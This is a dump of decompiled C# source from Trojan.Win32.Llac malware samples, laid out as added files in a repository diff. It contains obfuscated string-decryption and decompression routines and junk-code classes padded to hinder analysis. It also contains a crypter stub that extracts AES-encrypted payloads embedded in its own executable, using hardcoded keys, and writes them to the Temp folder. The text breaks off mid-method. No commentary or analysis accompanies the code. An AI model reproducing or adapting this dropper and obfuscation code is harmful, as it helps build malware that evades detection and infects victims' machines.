+      int num2 = \u0005\u2000.\u0003.ReadInt32() ^ num1 ^ 772501101;
+      bool flag1 = (num2 & int.MinValue) != 0;
+      bool flag2 = (num2 & 1073741824) != 0;
+      int count1 = num2 & 1073741823;
+      byte[] numArray2 = \u0008\u2000.\u0002(numArray1, \u0005\u2000.\u0003.ReadBytes(count1));
+      if (\u0005\u2000.\u000E != null != (\u0005\u2000.\u0006 != 1607814))
+      {
+        for (int index = 0; index < count1; ++index)
+        {
+          byte num3 = \u0005\u2000.\u000E[index & 7];
+          byte num4 = (byte) ((int) num3 << 3 | (int) num3 >> 5);
+          numArray2[index] = (byte) ((uint) numArray2[index] ^ (uint) num4);
+        }
+      }
+      int num5 = \u0005\u2000.\u0006 - 12;
+      byte[] bytes;
+      int length;
+      if (!flag2)
+      {
+        bytes = numArray2;
+        length = count1;
+      }
+      else
+      {
+        length = (int) numArray2[2] | (int) numArray2[0] << 16 | (int) numArray2[3] << 8 | (int) numArray2[1] << 24;
+        bytes = new byte[length];
+        \u0005\u2000.\u0002(numArray2, 4, bytes);
+      }
+      string str2;
+      if (flag1 && num5 == 1607802)
+      {
+        char[] chArray = new char[length];
+        for (int index = 0; index < length; ++index)
+          chArray[index] = (char) bytes[index];
+        str2 = new string(chArray);
+      }
+      else
+        str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length);
+      int num6 = num5 + ((int) sbyte.MaxValue + (num5 & 3) << 5);
+      if (num6 != 1611930)
+        str2 = (_param0 + count1 ^ 936568 ^ num6 & 1293).ToString("X");
+      string str3 = string.Intern(str2);
+      \u0005\u2000.\u0002.Add(_param0, str3);
+      if (\u0005\u2000.\u0002.Count == 209)
+      {
+        \u0005\u2000.\u0003.Close();
+        \u0005\u2000.\u0003 = (BinaryReader) null;
+        \u0005\u2000.\u0005 = \u0005\u2000.\u000E = (byte[]) null;
+      }
+      return str3;
+    }
+  }
+
+  private static int \u0002(byte[] _param0, int _param1, byte[] _param2)
+  {
+    int num1 = 0;
+    int num2 = 0;
+    int num3 = 128;
+    int length = _param2.Length;
+label_9:
+    while (num1 < length)
+    {
+      if ((num3 <<= 1) == 256)
+      {
+        num3 = 1;
+        num2 = (int) _param0[_param1++];
+      }
+      if ((num2 & num3) != 0)
+      {
+        int num4 = ((int) _param0[_param1] >> 2) + 3;
+        int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023;
+        _param1 += 2;
+        int num6 = num1 - num5;
+        if (num6 < 0)
+          return -1;
+        while (true)
+        {
+          if (--num4 >= 0 && num1 < length)
+            _param2[num1++] = _param2[num6++];
+          else
+            goto label_9;
+        }
+      }
+      else
+        _param2[num1++] = _param0[_param1++];
+    }
+    return 0;
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/_0006.cs

@@ -0,0 +1,64 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: sine stb, Version=3.5.4.1, Culture=neutral, PublicKeyToken=null
+// MVID: 51A01DAC-AF31-442E-B8F7-AC6F2055EAB9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+internal sealed class \u0006
+{
+  [DebuggerNonUserCode]
+  public \u0006()
+  {
+  }
+
+  private object \u0002()
+  {
+    while (true)
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        \u0005\u2000.\u0002(-958284201);
+        ProjectData.ClearProjectError();
+      }
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        int num1 = (int) MessageBox.Show(\u0005\u2000.\u0002(-958284090));
+        int num2 = 185403;
+        do
+        {
+          checked { ++num2; }
+        }
+        while (num2 <= 7768470);
+        while (true)
+          ;
+      }
+      int num = (int) Interaction.MsgBox((object) \u0005\u2000.\u0002(-958283785));
+    }
+  }
+
+  public object \u0003()
+  {
+    int num = (int) Interaction.MsgBox((object) \u0005\u2000.\u0002(-958283798));
+    return (object) 64;
+  }
+
+  public object \u0005()
+  {
+    while (true)
+      ;
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/_0008.cs

@@ -0,0 +1,55 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: sine stb, Version=3.5.4.1, Culture=neutral, PublicKeyToken=null
+// MVID: 51A01DAC-AF31-442E-B8F7-AC6F2055EAB9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Windows.Forms;
+
+[StandardModule]
+public sealed class \u0008
+{
+  private static object \u0002()
+  {
+    bool flag = true;
+    while (true)
+    {
+      flag = false;
+      \u0005\u2000.\u0002(-958285299);
+    }
+  }
+
+  public static void \u0002()
+  {
+    Decimal num1 = 6M;
+    int num2 = 46;
+    do
+    {
+      num1 = 2613683M;
+      checked { ++num2; }
+    }
+    while (num2 <= 9057);
+    int num3 = (int) MessageBox.Show(\u0005\u2000.\u0002(-958285044));
+    num1 = 56104010M;
+    int num4 = (int) MessageBox.Show(\u0005\u2000.\u0002(-958284883));
+    \u0005\u2000.\u0002(-958285642);
+    try
+    {
+    }
+    catch (Exception ex)
+    {
+      ProjectData.SetProjectError(ex);
+      ProjectData.ClearProjectError();
+    }
+    while (true)
+      ;
+  }
+
+  public static void \u0003()
+  {
+    while (true)
+      ;
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/_0008 .cs

@@ -0,0 +1,31 @@
+// Decompiled with JetBrains decompiler
+// Type:  
+// Assembly: sine stb, Version=3.5.4.1, Culture=neutral, PublicKeyToken=null
+// MVID: 51A01DAC-AF31-442E-B8F7-AC6F2055EAB9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.exe
+
+internal static class \u0008\u2000
+{
+  public static byte[] \u0002(byte[] _param0, byte[] _param1)
+  {
+    byte num1 = _param0[1];
+    int length = _param1.Length;
+    byte num2 = (byte) (length + 11 ^ (int) num1 + 7);
+    uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3));
+    ushort num4 = 0;
+    for (int index = 0; index < length; ++index)
+    {
+      if ((index & 1) == 0)
+      {
+        num3 = (uint) ((int) num3 * 214013 + 2531011);
+        num4 = (ushort) (num3 >> 16);
+      }
+      byte num5 = (byte) num4;
+      num4 >>= 8;
+      byte num6 = _param1[index];
+      _param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5);
+      num2 = num6;
+    }
+    return _param1;
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/_000E.cs

@@ -0,0 +1,99 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: sine stb, Version=3.5.4.1, Culture=neutral, PublicKeyToken=null
+// MVID: 51A01DAC-AF31-442E-B8F7-AC6F2055EAB9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+public sealed class \u000E
+{
+  [DebuggerNonUserCode]
+  public \u000E()
+  {
+  }
+
+  public void \u0002()
+  {
+    while (true)
+      \u0005\u2000.\u0002(-958286432);
+  }
+
+  public object \u0002()
+  {
+    int num1 = 0;
+    do
+    {
+      int num2 = 76;
+      do
+      {
+        \u0005\u2000.\u0002(-958289321);
+        try
+        {
+        }
+        catch (Exception ex1)
+        {
+          ProjectData.SetProjectError(ex1);
+          try
+          {
+          }
+          catch (Exception ex2)
+          {
+            ProjectData.SetProjectError(ex2);
+            \u0005\u2000.\u0002(-958289202);
+            int num3 = 9647090;
+            while (num3 <= 94184)
+              checked { ++num3; }
+            int num4 = (int) MessageBox.Show(\u0005\u2000.\u0002(-958289061));
+            int num5 = 6;
+            do
+            {
+              int num6 = (int) MessageBox.Show(\u0005\u2000.\u0002(-958289900));
+              \u0005\u2000.\u0002(-958289773);
+              \u0005\u2000.\u0002(-958288366);
+              checked { ++num5; }
+            }
+            while (num5 <= 807886720);
+            ProjectData.ClearProjectError();
+          }
+          \u0005\u2000.\u0002(-958288203);
+          ProjectData.ClearProjectError();
+        }
+        checked { ++num2; }
+      }
+      while (num2 <= 951248);
+      \u0005\u2000.\u0002(-958288088);
+      checked { ++num1; }
+    }
+    while (num1 <= 0);
+    string str = \u0005\u2000.\u0002(-958288787);
+    try
+    {
+    }
+    catch (Exception ex)
+    {
+      ProjectData.SetProjectError(ex);
+      int num7 = (int) MessageBox.Show(\u0005\u2000.\u0002(-958288548));
+      ProjectData.ClearProjectError();
+    }
+    double num8 = 7335107.0;
+    num8 = 450999.0;
+    str = \u0005\u2000.\u0002(-958291425);
+    num8 = 580387.0;
+    int num9 = (int) MessageBox.Show(\u0005\u2000.\u0002(-958291278));
+    while (true)
+    {
+      num8 = 1.0;
+      \u0005\u2000.\u0002(-958291139);
+    }
+  }
+
+  public void \u0003()
+  {
+    while (true)
+      ;
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/_000F.cs

@@ -0,0 +1,86 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: sine stb, Version=3.5.4.1, Culture=neutral, PublicKeyToken=null
+// MVID: 51A01DAC-AF31-442E-B8F7-AC6F2055EAB9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+public sealed class \u000F
+{
+  [DebuggerNonUserCode]
+  public \u000F()
+  {
+  }
+
+  private object \u0002()
+  {
+    try
+    {
+    }
+    catch (Exception ex)
+    {
+      ProjectData.SetProjectError(ex);
+      ProjectData.ClearProjectError();
+    }
+    return (object) 28160995;
+  }
+
+  public void \u0002()
+  {
+    \u0005\u2000.\u0002(-958291720);
+    try
+    {
+    }
+    catch (Exception ex)
+    {
+      ProjectData.SetProjectError(ex);
+      ProjectData.ClearProjectError();
+    }
+    int num = (int) Interaction.MsgBox((object) \u0005\u2000.\u0002(-958291689));
+  }
+
+  public object \u0003()
+  {
+    bool flag = false;
+    Decimal num1 = 241M;
+    double num2 = 7.0;
+    int num3 = (int) MessageBox.Show(\u0005\u2000.\u0002(-958290386));
+    try
+    {
+    }
+    catch (Exception ex)
+    {
+      ProjectData.SetProjectError(ex);
+      ProjectData.ClearProjectError();
+    }
+    flag = false;
+    try
+    {
+    }
+    catch (Exception ex)
+    {
+      ProjectData.SetProjectError(ex);
+      \u0005\u2000.\u0002(-958290403);
+      ProjectData.ClearProjectError();
+    }
+    num1 = 79M;
+    Decimal num4 = 25086969M;
+    try
+    {
+    }
+    catch (Exception ex)
+    {
+      ProjectData.SetProjectError(ex);
+      num2 = 6451.0;
+      num1 = 9811M;
+      num4 = 31191M;
+      ProjectData.ClearProjectError();
+    }
+    return (object) 4232;
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/sinestb/My/MySettings.cs

@@ -0,0 +1,73 @@
+// Decompiled with JetBrains decompiler
+// Type: sinestb.My.MySettings
+// Assembly: sine stb, Version=3.5.4.1, Culture=neutral, PublicKeyToken=null
+// MVID: 51A01DAC-AF31-442E-B8F7-AC6F2055EAB9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace sinestb.My
+{
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  [CompilerGenerated]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerNonUserCode]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!\u0005.\u0002().SaveMySettingsOnExit)
+        return;
+      \u0003\u2000.\u0002().Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          Monitor.Enter(handlerLockObject);
+          try
+          {
+            if (!MySettings.addedHandler)
+            {
+              \u0005.\u0002().Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!\u0005.\u0002().SaveMySettingsOnExit)
+                  return;
+                \u0003\u2000.\u0002().Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            Monitor.Exit(handlerLockObject);
+          }
+        }
+        return MySettings.defaultInstance;
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.acnb-1c7cb1c36d03d78dc4c7e14753e274d64baaf8014c8b4fa86c019842eb127177/sinestb/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aetd-67650359f14e4a8397f4b3801b3f4d385ad932c3ce95dbd6f6edd75522605768/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyCopyright("asd9f89y5234592452")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyProduct("asdf9725290531")]
+[assembly: AssemblyCompany("fasdf985q29582")]
+[assembly: AssemblyDescription("adf92348525")]
+[assembly: AssemblyTitle("asdadfa87324adf")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyFileVersion("01.05.00.00")]
+[assembly: Guid("fd180304-1ac3-400b-9d18-ddaae16fdfd5")]
+[assembly: AssemblyVersion("1.5.0.0")]

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aetd-67650359f14e4a8397f4b3801b3f4d385ad932c3ce95dbd6f6edd75522605768/Class1.cs

@@ -0,0 +1,327 @@
+// Decompiled with JetBrains decompiler
+// Type: st7fa8453sdfsdfsd.Class1
+// Assembly: asdf345245egsdsdffgr46, Version=1.5.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: EEEFB942-1A23-4D1E-9820-945A833A0EC9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aetd-67650359f14e4a8397f4b3801b3f4d385ad932c3ce95dbd6f6edd75522605768.exe
+
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Diagnostics;
+
+namespace st7fa8453sdfsdfsd
+{
+  public class Class1
+  {
+    [DebuggerNonUserCode]
+    public Class1()
+    {
+    }
+
+    public void JuNk_yMMjkmbtLFhqGQ488850899()
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      for (double num = 0.5266172; num <= 0.3875368; ++num)
+        ;
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      while (true)
+        ;
+    }
+
+    public void JuNk_LwXlVfhTQICrgoK801631062()
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public void JuNk_tGtcO1695392243()
+    {
+      double num = 0.1735811;
+      do
+      {
+        ++num;
+      }
+      while (num <= 0.5060932);
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public void JuNk_DKchTlroaUlUfFuGSx965207002()
+    {
+      while (true)
+        ;
+    }
+
+    public void JuNk_xmBCllgol923162266()
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      while (true)
+      {
+        try
+        {
+        }
+        catch (Exception ex)
+        {
+          ProjectData.SetProjectError(ex);
+          ProjectData.ClearProjectError();
+        }
+      }
+    }
+
+    public void JuNk_fOrOWRLSogPcjVQY1900944481()
+    {
+      double num = 0.506153;
+      do
+      {
+        ++num;
+      }
+      while (num <= 0.6196445);
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public void JuNk_NTIakOXS2015726033()
+    {
+    }
+
+    public void JuNk_BiHoyMYltA539850060()
+    {
+      for (double num = 0.8407028; num <= 0.294584; ++num)
+      {
+        try
+        {
+        }
+        catch (Exception ex)
+        {
+          ProjectData.SetProjectError(ex);
+          ProjectData.ClearProjectError();
+        }
+      }
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      double num1 = 0.239589;
+      do
+      {
+        try
+        {
+        }
+        catch (Exception ex)
+        {
+          ProjectData.SetProjectError(ex);
+          ProjectData.ClearProjectError();
+        }
+        ++num1;
+      }
+      while (num1 <= 0.7008919);
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      double num2 = 0.4277345;
+      do
+      {
+        ++num2;
+      }
+      while (num2 <= 0.4595755);
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      double num3 = 0.3454507;
+      do
+      {
+        try
+        {
+        }
+        catch (Exception ex)
+        {
+          ProjectData.SetProjectError(ex);
+          ProjectData.ClearProjectError();
+        }
+        try
+        {
+        }
+        catch (Exception ex)
+        {
+          ProjectData.SetProjectError(ex);
+          ProjectData.ClearProjectError();
+        }
+        ++num3;
+      }
+      while (num3 <= 0.9624693);
+    }
+
+    public void JuNk_cofULUun122068080()
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      double num = 0.6566342;
+      do
+      {
+        try
+        {
+        }
+        catch (Exception ex)
+        {
+          ProjectData.SetProjectError(ex);
+          ProjectData.ClearProjectError();
+        }
+        ++num;
+      }
+      while (num <= 0.954212);
+    }
+
+    public void JuNk_XItKbJOFYDdTLwoGTrH995074951()
+    {
+      while (true)
+        ;
+    }
+
+    public void JuNk_RonYIUkmH1260808994()
+    {
+      for (double num = 0.8753275; num <= 0.4452266; ++num)
+      {
+        try
+        {
+        }
+        catch (Exception ex)
+        {
+          ProjectData.SetProjectError(ex);
+          ProjectData.ClearProjectError();
+        }
+      }
+      while (true)
+      {
+        try
+        {
+        }
+        catch (Exception ex)
+        {
+          ProjectData.SetProjectError(ex);
+          ProjectData.ClearProjectError();
+        }
+      }
+    }
+
+    public void JuNk_jRGfwvL70374697()
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+      for (double num = 0.7633114; num <= 0.07381648; ++num)
+      {
+        try
+        {
+        }
+        catch (Exception ex)
+        {
+          ProjectData.SetProjectError(ex);
+          ProjectData.ClearProjectError();
+        }
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aetd-67650359f14e4a8397f4b3801b3f4d385ad932c3ce95dbd6f6edd75522605768/Form1.cs

@@ -0,0 +1,130 @@
+// Decompiled with JetBrains decompiler
+// Type: st7fa8453sdfsdfsd.Form1
+// Assembly: asdf345245egsdsdffgr46, Version=1.5.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: EEEFB942-1A23-4D1E-9820-945A833A0EC9
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aetd-67650359f14e4a8397f4b3801b3f4d385ad932c3ce95dbd6f6edd75522605768.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using st7fa8453sdfsdfsd.My;
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Drawing;
+using System.IO;
+using System.Security.Cryptography;
+using System.Windows.Forms;
+
+namespace st7fa8453sdfsdfsd
+{
+  [DesignerGenerated]
+  public class Form1 : Form
+  {
+    private IContainer components;
+
+    [DebuggerNonUserCode]
+    public Form1()
+    {
+      this.Load += new EventHandler(this.Form1_Load);
+      this.InitializeComponent();
+    }
+
+    [DebuggerNonUserCode]
+    protected override void Dispose(bool disposing)
+    {
+      try
+      {
+        if (!disposing || this.components == null)
+          return;
+        this.components.Dispose();
+      }
+      finally
+      {
+        base.Dispose(disposing);
+      }
+    }
+
+    [DebuggerStepThrough]
+    private void InitializeComponent()
+    {
+      ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
+      this.SuspendLayout();
+      this.AutoScaleDimensions = new SizeF(6f, 13f);
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.ClientSize = new Size(0, 0);
+      this.FormBorderStyle = FormBorderStyle.None;
+      this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
+      this.Name = nameof (Form1);
+      this.Opacity = 0.0;
+      this.ResumeLayout(false);
+    }
+
+    public byte[] Unsecure(byte[] data)
+    {
+      using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
+      {
+        rijndaelManaged.IV = new byte[16]
+        {
+          (byte) 1,
+          (byte) 2,
+          (byte) 3,
+          (byte) 4,
+          (byte) 5,
+          (byte) 6,
+          (byte) 7,
+          (byte) 8,
+          (byte) 9,
+          (byte) 1,
+          (byte) 2,
+          (byte) 3,
+          (byte) 4,
+          (byte) 5,
+          (byte) 6,
+          (byte) 7
+        };
+        rijndaelManaged.Key = new byte[16]
+        {
+          (byte) 7,
+          (byte) 6,
+          (byte) 5,
+          (byte) 4,
+          (byte) 3,
+          (byte) 2,
+          (byte) 1,
+          (byte) 9,
+          (byte) 8,
+          (byte) 7,
+          (byte) 6,
+          (byte) 5,
+          (byte) 4,
+          (byte) 3,
+          (byte) 2,
+          (byte) 1
+        };
+        return rijndaelManaged.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);
+      }
+    }
+
+    private void Form1_Load(object sender, EventArgs e)
+    {
+      try
+      {
+        string temp = MyProject.Computer.FileSystem.SpecialDirectories.Temp;
+        string[] strArray = Strings.Split(File.ReadAllText(Application.ExecutablePath), "dakhVAqvryJa7r21r9Dr");
+        byte[] data1 = this.Unsecure(Convert.FromBase64String(strArray[1]));
+        byte[] data2 = this.Unsecure(Convert.FromBase64String(strArray[3]));
+        MyProject.Computer.FileSystem.WriteAllBytes(temp + "\\" + strArray[2], data1, false);
